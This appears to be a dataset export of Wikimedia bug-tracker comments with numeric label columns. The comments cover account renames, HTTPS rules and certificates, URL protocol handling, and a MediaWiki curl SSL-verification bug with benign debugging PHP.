+> Sounds like automatic account creation on SUL. Seen on many wikis at many
+> times.
+> 
+> Due to the fact, that you does not know, when you account is renamed, you
+> will first try to login with your old name and than autocreate the account.
+
+Mmm. I'd say some ""your account has been renamed"" UI is necessary.
+
+I'd suggest a process along the lines of the following:
+
+- Login as old account
+- Login notices that old account has a ""renamed"" flag set
+- Screen is presented:
+
+  Your account has been renamed, and you are now logged in as <new name>. 
+  You will no longer be able to log in as <old name>. 
+  
+  [ OK ]
+
+- Login ability for old account is removed
+
+If a user is logged in on another wiki with the old account, and returns to their home wiki after a renaming has taken place, this should be detected and they should be logged out. They would then get the renaming message when logging in again.",,,1361122572,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,1,False,,,-28,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+224756,Make it impossible to login as old user name after rename,"(In reply to comment #1)
+> Hex: Which Mediawiki version is this about?
+
+1.21wmf9 (afbf386); I encountered this on the English Wikipedia.",,,1361121354,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,1,False,,,-28,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+224754,Make it impossible to login as old user name after rename,"Sounds like automatic account creation on SUL. Seen on many wikis at many times.
+
+Due to the fact, that you does not know, when you account is renamed, you will first try to login with your old name and than autocreate the account.",,,1361121058,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,1,False,,,-28,True,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+224749,Make it impossible to login as old user name after rename,Hex: Which Mediawiki version is this about?,,,1361120729,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,1,True,,,-28,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0
+46751,HTTPS Everywhere rule for planet,"**Author:** `sumanah`
+
+**Description:**
+https://en.planet.wikimedia.org/  --  SSL is now supported.  I'd like an HTTPS Everywhere rule that says the browser should use SSL on that site.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Low,25.0,1360246620,1362792437.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6eu5nio3354kkgipigen,task_description,resolved,True,c2,1,False,False,True,-29,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+229077,HTTPS Everywhere rule for planet,"https://github.com/reedy/https-everywhere/commit/f392ad52848d637f39474b2abd13a13735372a72
+
+Pull requested upstream.",,,1362792437,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-6eu5nio3354kkgipigen,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+229071,HTTPS Everywhere rule for planet,"nevermind that last part, talked to Reedy, who is going to submit a rule, thanks Reedy :)",,,1362792197,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-6eu5nio3354kkgipigen,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+229064,HTTPS Everywhere rule for planet,"correct, we won't be able to fix mixed content warnings if we include images and external blogs that don't support HTTPS.  And doesn't HTTPSEverywhere automaticaly try HTTPS anyways and would just need a rule if there was an exception? What are we trying to resolve",,,1362791370,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-6eu5nio3354kkgipigen,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+229059,HTTPS Everywhere rule for planet,"(In reply to comment #1)
+> Possible problem: Firefox warns about mixed content: ""partial encoded
+> content""
+> (http:// hrefs in HTML) because there are embedded images from the external
+> feeds.
+
+Which is likley unfixable if all listed blogs don't support HTTPS..",,,1360251766,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-6eu5nio3354kkgipigen,task_subcomment,,True,c2,1,True,,,-29,True,1,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1
+229055,HTTPS Everywhere rule for planet,"**sumanah** wrote:
+
+Possible problem: Firefox warns about mixed content: ""partial encoded content""
+(http:// hrefs in HTML) because there are embedded images from the external feeds.",,,1360247319,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6eu5nio3354kkgipigen,task_subcomment,,True,c2,1,False,,,-29,True,0,0,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+46226,http/https protocols not handled correctly in image links,"**Author:** `fut.perf`
+
+**Description:**
+The image links in the final result page of the upload wizard (under ""Thanks for uploading!"") have an incorrect use of url protocols. They are ""http:"" links even if the wizard was run under ""https:"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Low,25.0,1358808420,1362762493.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-m2iqzcy3cj2dtvg2bffn,task_description,invalid,True,c2,1,False,False,True,-32,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+222024,http/https protocols not handled correctly in image links,I think the screenshot should be enough to close this as Invalid,,,1362762493,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-m2iqzcy3cj2dtvg2bffn,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+222018,http/https protocols not handled correctly in image links,"Screenshot showing proper HTTPS links
+
+Could you verify this bug? I found proper HTTPS links when uploading
+
+**Attached**: {F10718}",,,1359718053,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-m2iqzcy3cj2dtvg2bffn,task_subcomment,,True,c2,1,False,,,-30,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0
+45265,Disable https on www.en.wikipedia.org,"It's not sending a valid SSL cert for that but I know it may be not easy to configure so. I propose to point them to another IP, then disable https on that IP.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1355930220,1363553543.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-uq7moaj5iijoolgyhoxa,task_description,declined,True,c2,1,False,False,True,-36,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+191294,Disable https on www.en.wikipedia.org,I guess wont fix too.  People should really use the en.wikipedia.org entry :-],,,1363553543,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uq7moaj5iijoolgyhoxa,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1
+191290,Disable https on www.en.wikipedia.org,"Either adding www,en.wikipedia.org as alternative name (but we have www.*.wikipedia.org!), or wontfixing.",,,1355949458,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-uq7moaj5iijoolgyhoxa,task_subcomment,,True,c2,1,False,,,-36,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1
+191284,Disable https on www.en.wikipedia.org,"This is an ops decision, but I would also recommend a WONTFIX for this. If we point to another IP, where https is disabled, then they would get an error saying the server isn't available. The cost of issuing www. certificates for every language is also prohibitively high.",,,1355946680,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-uq7moaj5iijoolgyhoxa,task_subcomment,,True,c2,1,True,,,-36,True,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+191277,Disable https on www.en.wikipedia.org,"Disabling HTTPS is worse than simply giving an invalid certificate (Which is really perfectly secure, but untrusted because it's for the wrong domain), so I propose WONTFIXing this.",,,1355937388,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-uq7moaj5iijoolgyhoxa,task_subcomment,,True,c2,1,True,,,-36,True,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+44901,"$4 of message ""Articlefeedbackv5-email-request-oversight-body"" needs ""http:""","The e-mail to the oversighter ""Articlefeedbackv5-email-request-oversight-body"" contains $4 with a link to the AFT-Oversight FAQ. The content on dewiki is:
+
+
+//de.wikipedia.org/wiki/Wikipedia:Artikel-Feedback/Umgang_mit_Feedback
+
+That means, ""http:"" is missing.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Low,25.0,1355079180,1355594004.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-j3iohvlp2ce4tivq4oik,task_description,resolved,True,c2,1,False,False,True,-38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+194806,"$4 of message ""Articlefeedbackv5-email-request-oversight-body"" needs ""http:""","successfully merged
+
+when the variable is used on other place a
+wfExpandUrl( $var, PROTO_CANONICAL );
+in the email text can help.",,,1355594004,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-j3iohvlp2ce4tivq4oik,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+194804,"$4 of message ""Articlefeedbackv5-email-request-oversight-body"" needs ""http:""",https://gerrit.wikimedia.org/r/#/c/38312/ fixes this,,,1355319832,,PHID-USER-kms5nmb5gvqzcdep3cnl,False,,,PHID-TASK-j3iohvlp2ce4tivq4oik,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+44441,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"Since my hosting provider upgraded to php 5.3.19 a template on my wiki fails with '/includes/HttpFunctions.php(68): CurlHttpRequest->execute()' as the top line of the backtrace.
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44135
+https://bugzilla.wikimedia.org/show_bug.cgi?id=42468
+https://bugzilla.wikimedia.org/show_bug.cgi?id=70262",Low,25.0,1353928560,1362675223.0,PHID-USER-7rnv65bazcfyfktglds5,False,,False,PHID-TASK-tuqyxtv7tsitqiypigmg,task_description,resolved,True,c2,1,False,False,True,-40,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+192958,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),(confirming that this has been backported and is available in 1.20.3),,,1362819682,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+192954,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),*** Bug 45564 has been marked as a duplicate of this bug. ***,,,1362074008,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-26,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+192949,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),My idea of how it should be done at https://gerrit.wikimedia.org/r/#/c/51334/,,,1362039807,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-26,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0
+192942,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"I think the way the bug was fixed was not the right way to do it. For one thing, the documentation is now incorrect:
+
+ *    - sslVerifyHost       (curl only) Set to 2 to verify hostname against certificate
+ *     Setting to 1 (or true) will NOT verify the host name. It will
+ *     only check its existence. Setting to 0 (or false) disables entirely.
+
+
+It should say that if you set it to 1 or true, it will throw a fatal error after curl 7.28.1. But that's a ridiculous convention. The option to Http::request() should have been left as it was, true for enabling, false for disabling, and that should have been converted to whatever curl (or whatever other backend we use) needs, i.e. 0 or 2.
+
+It's lucky that the callers only either set that parameter to false or omit it. If any set it to true, they would have been badly broken by this change.",,,1362011367,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-26,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+192937,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),FYI Ia6535f10 is the gerrit Change-ID.,,,1361957236,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-26,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+192933,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"(In reply to comment #16)
+> (In reply to comment #15)
+> > It's not a change-id but a commit hash. Which is non-ambiguous:
+> > bce969ea1803ba77ad4dfbdb2d5057a34c496d1e by IAlex, which merges
+> 
+> Does not show anything here.
+
+Well it exists in the repository. It's not going to be found in Gerrit as a change if that's what you were expecting.
+
+alex@alex:/var/www/MediaWiki/Git/core (master)$ git show bce969ea1803ba77ad4dfbdb2d5057a34c496d1e
+commit bce969ea1803ba77ad4dfbdb2d5057a34c496d1e
+Merge: 6ba4674 5c8d6fa
+Author: IAlex <ialex.wiki@gmail.com>
+Date:   Thu Nov 15 10:24:11 2012 +0000
+
+    Merge ""Made SSL validation in Curl HTTP requests the default.""",,,1358353502,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-32,True,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+192927,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"It was fixed in master (available in 1.21wmf5). Other than a potential backport, it is FIXED.",,,1358287000,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-33,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+192922,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"(In reply to comment #15)
+> It's not a change-id but a commit hash. Which is non-ambiguous:
+> bce969ea1803ba77ad4dfbdb2d5057a34c496d1e by IAlex, which merges
+
+Does not show anything here.
+
+> 5c8d6fa60f521073136012f67e66bdb72010e720 by Tyler Romeo.
+
+Wondering if this was fixed by the two commits, or what is left to do here.",,,1358265077,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-33,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+192914,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"It's not a change-id but a commit hash. Which is non-ambiguous: bce969ea1803ba77ad4dfbdb2d5057a34c496d1e by IAlex, which merges 5c8d6fa60f521073136012f67e66bdb72010e720 by Tyler Romeo.",,,1355072514,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-38,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+192908,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"(In reply to comment #12)
+> There is a small bug in doing sslVerifyHost => true, that was fixed after 1.20
+> (bce969).
+
+bce969 has six digits, ChangeIds require last least eight digits - any chance to clarify in order to identify the commit?",,,1354528181,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-39,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,1
+192904,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"Bingo! I did the 'Change protected $sslVerifyHost = true; to protected $sslVerifyHost = 2; on
+the beginning of MWHttpRequest (around line 190)' and everything is back to normal again.",,,1354520618,,PHID-USER-7rnv65bazcfyfktglds5,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-39,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+192899,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"It was very long due to the reference to the CurlHttpRequest being expanded.
+
+In summary, it is failing at:
+curl_setopt_array( $curlHandle, array(
+	CURLOPT_PROXY => NULL,
+	CURLOPT_TIMEOUT => 25,
+	CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0,
+	CURLOPT_WRITEFUNCTION => CurlHttpRequest::read,
+	CURLOPT_HEADERFUNCTION => CurlHttpRequest::readHeader,
+	CURLOPT_MAXREDIRS => 5,
+	CURLOPT_ENCODING => """",
+	CURLOPT_REFERER => ""http://wow.wikibase.nl/index.php/Template:Organization"",
+	CURLOPT_USERAGENT => ""MediaWiki/1.20.0"",
+	CURLOPT_SSL_VERIFYHOST => true,
+	CURLOPT_SSL_VERIFYPEER => true,
+	CURLOPT_CUSTOMREQUEST => ""GET"",
+	CURLOPT_HTTPHEADER => array( ""Referer: http://wow.wikibase.nl/index.php/Template:Organization"", ""User-Agent: MediaWiki/1.20.0"" )
+) );
+
+I don't see anything obviously wrong.
+
+Is it possible that your php does not support SSL and is failing on the CURLOPT_SSL_* options?
+
+There is a small bug in doing sslVerifyHost => true, that was fixed after 1.20 (bce969).
+
+After a bit of testing that seems to return false without a notice on 5.3.x
+
+Change 	protected $sslVerifyHost = true; to protected $sslVerifyHost = 2; on the beginning of MWHttpRequest (around line 190). and see if it fixes.
+
+If it is still failing, can you create a file with these lines and check its output?
+
+<?php
+ini_set('display_errors',1);
+error_reporting(E_ALL | E_STRICT);
+$curlHandle=curl_init();
+var_dump( curl_setopt_array( $curlHandle, array(
+	CURLOPT_PROXY => NULL,
+	CURLOPT_TIMEOUT => 25,
+	CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0,
+	CURLOPT_MAXREDIRS => 5,
+	CURLOPT_ENCODING => """",
+	CURLOPT_REFERER => ""http://wow.wikibase.nl/index.php/Template:Organization"",
+	CURLOPT_USERAGENT => ""MediaWiki/1.20.0"",
+	CURLOPT_SSL_VERIFYHOST => true,
+	CURLOPT_SSL_VERIFYPEER => true,
+	CURLOPT_CUSTOMREQUEST => ""GET"",
+	CURLOPT_HTTPHEADER => array( ""Referer: http://wow.wikibase.nl/index.php/Template:Organization"", ""User-Agent: MediaWiki/1.20.0"" )
+) ) );",,,1354471500,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-39,True,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+192896,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"After a bit of fancy formatting:
+array(13) {
+	[10004]=> NULL // CURLOPT_PROXY
+	[13]=> int(25) // CURLOPT_TIMEOUT
